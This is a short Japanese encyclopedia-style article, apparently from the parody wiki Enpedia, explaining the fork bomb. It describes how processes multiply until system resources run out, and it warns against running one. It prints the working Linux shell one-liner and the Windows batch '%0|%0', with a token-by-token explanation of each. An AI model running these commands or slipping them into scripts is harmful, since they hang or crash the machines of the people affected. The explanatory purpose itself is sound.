フォーク爆弾

出典: 謎の百科事典もどき『エンペディア(Enpedia)』
Fork爆弾から転送)
ナビゲーションに移動 検索に移動

フォーク爆弾(Fork爆弾)とは、マルウェアの一種。絶対に実行してはいけない。

原理[編集]

プロセスが指数関数的に増え、リソースを食い尽くす爆弾。

プロセスIDが枯渇するとタスクマネージャーすら起動不可になる。

コード[編集]

Linux[編集]

:(){ :|:& };:

分かりやすいように関数名を:からbombにすると、

bomb(){ bomb|bomb& };bomb

になる。

説明[編集]

bomb(){ }; bombという名の関数を定義する。
bomb|bomb bomb(自分自身)を二つ同時に起動する
bomb 自分自身を実行し、Forkの最初の種にする

Windows[編集]

%0|%0

説明[編集]

%0|%0 %0(自分自身)を二つ同時に起動する